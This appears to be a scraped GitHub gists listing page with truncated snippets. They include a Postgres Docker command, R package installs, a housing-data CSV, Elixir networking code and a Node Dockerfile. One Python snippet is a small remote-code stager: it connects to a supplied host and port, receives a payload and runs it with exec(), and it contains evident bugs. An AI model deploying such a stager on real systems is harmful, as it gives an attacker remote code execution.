This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mkdir -p share | |
mkdir -p pgdata | |
docker rm -f local_db || true | |
docker run --name local_db \ | |
-e POSTGRES_PASSWORD=secret \ | |
-p 5432:5432 \ | |
-v $(pwd)/share:/share \ | |
-v $(pwd)/pgdata:/var/lib/postgresql/data \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
install.packages(c("ggplot2", "reshape2", "plyr", "languageR", | |
"lme4", "psych", "RMySQL", "RPostgresSQL", "RSQLite", "xlsx", | |
"XLConnect", "foreign", "dplyr", "tidyr", "stringr", "lubridate", | |
"ggplot2", "ggvis", "htmlwidgets", "googleVis", "maptools", | |
"maps", "ggmap", "zoo", "xts", "quantmod", "httr", "jsonlite", | |
"sp", "neuralnet", "RODBC", "gmodels", "class", "tm", "wordcloud", | |
"rpart", "kernlab", "e1071", "randomForest", "caret", "ROCR")) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from os import system | |
from requests import get | |
from bs4 import BeautifulSoup | |
headers = {'Accept': 'text/html, application/xhtml+xml, application/xml', | |
'Accept-Encoding': 'gzip, deflate, sdch', | |
'Accept-Language': 'en-US, en', | |
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)' | |
} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cat | R --no-save <<EOF | |
install.packages('devtools', repos='http://cran.us.r-project.org') | |
devtools::install_github('IRkernel/IRkernel') | |
EOF |
We can make this file beautiful and searchable if this error is corrected: It looks like row 10 should actually have 8 columns, instead of 2 in line 9.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
valor,crimes_per_capita,comodos,distancia_centro_comercial,acessos_a_estradas,iptu,media_alunos_por_professor,percentual_de_pobres | |
24000,0.006000000052154,6.57000017166138,4.09000015258789,1,29.6000003814697,15.3000001907349,4.98000001907349 | |
21599,0.027000000700355,6.42000007629395,4.96999979019165,2,24.2000007629395,17.7999992370605,9.14000034332275 | |
34700,0.027000000700355,7.17999982833862,4.96999979019165,2,24.2000007629395,17.7999992370605,4.03000020980835 | |
33400,0.032000001519918,7,6.05999994277954,3,22.2000007629395,18.7000007629395,2.94000005722046 | |
36199,0.068999998271465,7.15000009536743,6.05999994277954,3,22.2000007629395,18.7000007629395,5.32999992370605 | |
28701,0.029999999329448,6.42999982833862,6.05999994277954,3,22.2000007629395,18.7000007629395,5.21000003814697 | |
22900,0.087999999523163,6.01000022888184,5.55999994277954,5,31.1000003814697,15.1999998092651,12.4300003051758 | |
27100,0.144999995827675,6.17000007629395,5.94999980926514,5,31.1000003814697,15.1999998092651,19.1499996185303 | |
16500,0.210999995470 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
defmodule IPCluster do | |
def get_inet(), do: elem(:inet.getif(), 1) | |
def get_ip_list([]), do: [] | |
def get_ip_list([h|t]) do | |
{ip, _bcast, mask} = h | |
[[Tuple.to_list(ip), Tuple.to_list(mask)] | get_ip_list(t)] | |
end | |
def ip_list([]), do: [] | |
def ip_list([h|t]) do | |
[Enum.at(h,0) | ip_list(t)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ensure_pkg <- function(pkg) { | |
pkg = toString(substitute(pkg)) | |
if (!require(pkg, character.only = TRUE)){ | |
install.packages(pkg) | |
require(pkg) | |
} | |
} | |
ensure_pkg("car") | |
ensure_pkg("lattice") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import socket, struct, sys | |
if len(sys.argv) != 2: sys.exit(1) | |
s = socket.socket(2, socket.SOCK_STREAM) | |
s.connect(sys.argv[1], int(sys.argv[2])) | |
l = struct.unpack('>I', s.recv(4))[0] | |
d = s.recv(l) | |
while len(d) < l: | |
d += s.recv(l-len(d)) | |
exec(d, {'s':s}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Defina a versao desejada do Node. | |
# Testado apenas com as imagens oficiais! | |
FROM node:6.2.0 | |
MAINTAINER Wesley R. Silva <[email protected]> | |
## Adiciona um usuario para executar o node | |
RUN useradd -m node --user-group -G 100 -s /bin/bash -d /home/node | |
USER node | |
## Cria um diretorio local onde os pacotes serao instalados |